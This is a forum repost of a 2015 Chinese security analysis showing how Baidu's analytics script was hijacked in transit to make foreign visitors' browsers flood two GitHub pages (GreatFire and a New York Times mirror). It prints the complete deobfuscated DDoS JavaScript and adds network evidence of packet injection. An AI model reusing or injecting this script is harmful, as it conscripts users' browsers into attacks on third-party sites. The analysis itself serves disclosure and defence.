楼主: 90_

百度统计js被劫持用来DDOS Github

[复制链接]
发表于 2015-3-27 18:42:28 | 显示全部楼层 |阅读模式
版权声明:未经授权禁止转载 insight-labs@乌云知识库
0x00 背景
今天中午刷着全国最大的信息安全从业人员同性交友社区zone.wooyun.org的时候,忽然浏览器每隔2秒就不断的弹窗:
[AppleScript] 纯文本查看 复制代码
malicious javascript detected on this domain

2015032705423060206s1.png
我第一反应就是不知道哪个调皮的基友又把zone给XSS了,马上打开开发者工具分析。

0x01 细节
之后立刻发现弹窗的js居然是从github加载的:
2015032705423358371s2.png
可是为什么乌云会从github加载js呢,并且还是从greatfire和纽约时报镜像加载。

第一反应是页面有xss或者js被劫持了,找了半天终于找到了,居然是

hm.baidu.com/h.js
这个js的确被乌云加载了没错,这是百度统计的js代码,打开后里面是一个简单加密后的js,eval了一串编码后的内容,随便找了个在线解密看了下,发现如下内容:
[AppleScript] 纯文本查看 复制代码
document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
startime = (new Date).getTime();
var count = 0;
 
function unixtime() {
    var a = new Date;
    return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
}
url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];
NUM = url_array.length;
 
function r_send2() {
    var a = unixtime() % NUM;
    get(url_array[a])
}
 
function get(a) {
    var b;
    $.ajax({
        url: a,
        dataType: "script",
        timeout: 1E4,
        cache: !0,
        beforeSend: function() {
            requestTime = (new Date).getTime()
        },
        complete: function() {
            responseTime = (new Date).getTime();
            b = Math.floor(responseTime - requestTime);
            3E5 > responseTime - startime && (r_send(b), count += 1)
        }
    })
}
 
function r_send(a) {
    setTimeout("r_send2()", a)
}
setTimeout("r_send2()", 2E3);

大概功能就是关闭缓存后每隔2秒加载一次
[AppleScript] 纯文本查看 复制代码
url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];

里面的两个url

问了下墙内的小伙伴们,他们看到的js都是正常的,但是通过墙外ip访问

[AppleScript] 纯文本查看 复制代码
http://hm.baidu.com/h.js

就会得到上面的js文件,每隔2秒请求一下这两个url。

打开twitter看了下,似乎从3月18号以来Github就受到了DDoS攻击,之后greatfire把被攻击的页面内容换成了
[AppleScript] 纯文本查看 复制代码
alert("WARNING: malicious javascript detected on this domain")

以弹窗的方式阻止了js的循环执行。
2015032705422816608s3.png
图3 国外ip traceroute到hm.baidu.com的记录
似乎DNS并没有被劫持,看来是像之前一样直接把IP劫持了或者直接在HTTP协议里替换文件。
2015032705422632644s4.png
扫了下端口,只开了80和443,通过https协议访问后是正常的空页面(只有带referer才会出现js文件)。
2015032705422243412s5.png
作者要进行抓包分析时劫持已经停止,在twitter上看到有人已经分析过引用如下:
抓包跟踪,正常百度服务器返回给我日本VPS的TTL为51, RESP返回HTTP 200 OK的报文的TTL是47,可以确定的是有中间设备对VPS发了伪造报文。
2015032706222594535ws.png
真是无耻,呵呵

忽然想起一句话,之前DNS被劫持到外国服务器的时候某站长说的:
They have weaponized their entire population.
现在应该是:
They have weaponized their entire population of the Earth.
回复

使用道具 举报

发表于 2015-3-27 19:16:10 | 显示全部楼层
目测楼主用win8以上的系统(可能是win10)。还有楼主在国外?
回复 支持 反对

使用道具 举报

发表于 2015-3-28 14:22:02 | 显示全部楼层
赞一个。。。。。。。。。。
回复 支持 反对

使用道具 举报

发表于 2015-4-2 22:01:09 | 显示全部楼层
这两天逛网页也是经常弹出,实在很让人头疼,终于明白真相了
回复 支持 反对

使用道具 举报

发表于 2015-6-28 11:27:05 | 显示全部楼层
支持中国红客联盟(ihonker.org)
回复 支持 反对

使用道具 举报

发表于 2015-6-28 12:17:06 | 显示全部楼层
支持,看起来不错呢!
回复 支持 反对

使用道具 举报

发表于 2015-6-28 19:36:15 | 显示全部楼层
学习学习技术,加油!
回复 支持 反对

使用道具 举报

发表于 2015-6-29 19:21:09 | 显示全部楼层
还是不错的哦,顶了
回复 支持 反对

使用道具 举报

发表于 2015-7-2 06:40:30 | 显示全部楼层
感谢楼主的分享~
回复 支持 反对

使用道具 举报

发表于 2015-7-2 21:04:28 | 显示全部楼层
支持中国红客联盟(ihonker.org)
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-3-10 19:50 , Processed in 0.047604 second(s), 10 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部